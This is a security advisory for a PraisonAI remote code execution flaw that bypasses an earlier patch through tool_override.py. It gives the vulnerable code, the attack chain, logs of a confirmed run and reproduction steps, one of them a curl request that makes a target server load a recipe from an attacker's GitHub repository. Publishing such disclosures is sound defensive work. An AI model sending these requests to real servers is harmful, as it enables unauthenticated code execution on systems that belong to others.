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GHSA-xcmw-grxf-wjhj CVE-2026-44334 PYSEC-2026-2926

PraisonAI has unauthenticated RCE via `tool_override.py` (CVE-2026-40287 patch bypass)

High PyPI
Severity
8.4 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.25%
Chance of exploitation in the next 30 days. Higher than 16.00% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-94 Improper Control of Generation of Code ('Code Injection')
Fix
4.6.32
Upgrade praisonai to this version or later

Description

TL;DR

CVE-2026-40287's fix gated tools.py auto-import behind PRAISONAI_ALLOW_LOCAL_TOOLS=true in two files (tool_resolver.py, api/call.py). A third import sink in praisonai/templates/tool_override.py was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is remotely triggerable through POST /v1/recipes/run with a recipe value pointing at any local absolute path or any GitHub repo (because SecurityConfig.allow_any_github defaults to True). The attacker drops a tools.py next to TEMPLATE.yaml; the server exec_module()s it. No auth required by default, no environment opt-in required.

Patch coverage gap

CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at:

File Line Gate
praisonai/tool_resolver.py 77 if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
praisonai/api/call.py 80 same

But the equivalent sinks in praisonai/templates/tool_override.py were not patched:

# tool_override.py - create_tool_registry_with_overrides()
332    cwd_tools_py = Path.cwd() / "tools.py"
333    if cwd_tools_py.exists():
334        try:
335            tools = loader.load_from_file(str(cwd_tools_py))   # <-- exec_module
336            registry.update(tools)
337        except Exception:
338            pass
339
341    # 4. Template-local tools.py
342    if template_dir:
343        tools_py = Path(template_dir) / "tools.py"
344        if tools_py.exists():
345            try:
346                tools = loader.load_from_file(str(tools_py))   # <-- exec_module
347                registry.update(tools)
348            except Exception:
349                pass

load_from_file (line 84-94) ends in spec.loader.exec_module(module) with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution.

Attack chain

HTTP POST /v1/recipes/run
  body: {"recipe": "<abs path>" | "github:<owner>/<repo>/<recipe>"}
        │
        ▼
recipe/serve.py:483   run_recipe(request)              ← auth=none default
        │
        ▼
recipe/core.py:215    recipe.run(name, ...)
        │
        ▼
recipe/core.py:686    _load_recipe(name)
                      └─ ".." check only; absolute paths and URIs allowed
        │
        ▼
templates/loader.py:94    TemplateLoader.load(uri)
        │
        ▼
templates/security.py:130 is_source_allowed("github:*")
                          └─ allow_any_github=True default → returns True
        │
        ▼
templates/registry.py     fetch repo from raw.githubusercontent.com → cache dir
        │
        ▼
templates/security.py:215 validate_template_directory(cached.path)
                          └─ .py is in allowed_extensions → tools.py kept
        │
        ▼
recipe/core.py:887        _execute_recipe(recipe_config, ...)
        │
        ▼
recipe/core.py:943        create_tool_registry_with_overrides(
                              include_defaults=True,
                              template_dir=recipe_config.path)
        │
        ▼
templates/tool_override.py:341-349   load_from_file(template_dir/tools.py)
        │
        ▼
templates/tool_override.py:94        spec.loader.exec_module(module)   ← RCE

The tool registry build runs before any LLM/agent step, so OPENAI_API_KEY and similar are not required. A recipe with an empty workflow.steps: [] is sufficient - the payload fires during registry construction.

Confirmed execution (2026-04-25, praisonai 4.6.31)

SERVER stdout (PID 43784):
  Uvicorn running on http://127.0.0.1:8765
  127.0.0.1 - POST /v1/recipes/run HTTP/1.1
  [CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonai_pwn_1777094071.txt
  127.0.0.1 - "POST /v1/recipes/run" 500 Internal Server Error

Marker file:
  pid: 43784            ← matches server PID
  argv: ['server.py']   ← server process, not exploit

The 500 response is a downstream side-effect of workflow.steps: [] failing to construct a runnable workflow; the exec_module(tools.py) call runs before that error. The attacker payload has already executed in the server process by the time the 500 is sent.

Reproduction (local-path variant)

Files under pocs/praisonai-cve-2026-40287-bypass/:

pip install 'praisonai[serve]==4.6.31'

# Terminal 1
python server.py

# Terminal 2
python exploit.py

Expected: server stdout shows [CVE-2026-40287-bypass] RCE fired.; a praisonai_pwn_<timestamp>.txt file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process.

Reproduction (remote GitHub variant)

# Push evil_recipe/ to https://github.com/<you>/poc-recipe (public repo)

curl -X POST http://target:8765/v1/recipes/run \
     -H 'Content-Type: application/json' \
     -d '{"recipe":"github:<you>/poc-recipe/poc-recipe"}'

No filesystem prerequisite on the target. Triggers because SecurityConfig.allow_any_github (templates/security.py:30) defaults to True.

Affected versions

PyPI

PackageVulnerableFixed in
praisonai
>= 4.5.139, < 4.6.32
4.6.32

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

praisonai PyPI → 4.6.32

pip
pip install --upgrade "praisonai>=4.6.32"
poetry
poetry add "praisonai>=4.6.32"
uv
uv add "praisonai>=4.6.32"

Severity breakdown

CVSS 3.1 8.4

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it
  • Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
  • Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
  • Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
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High Also affects praisonai
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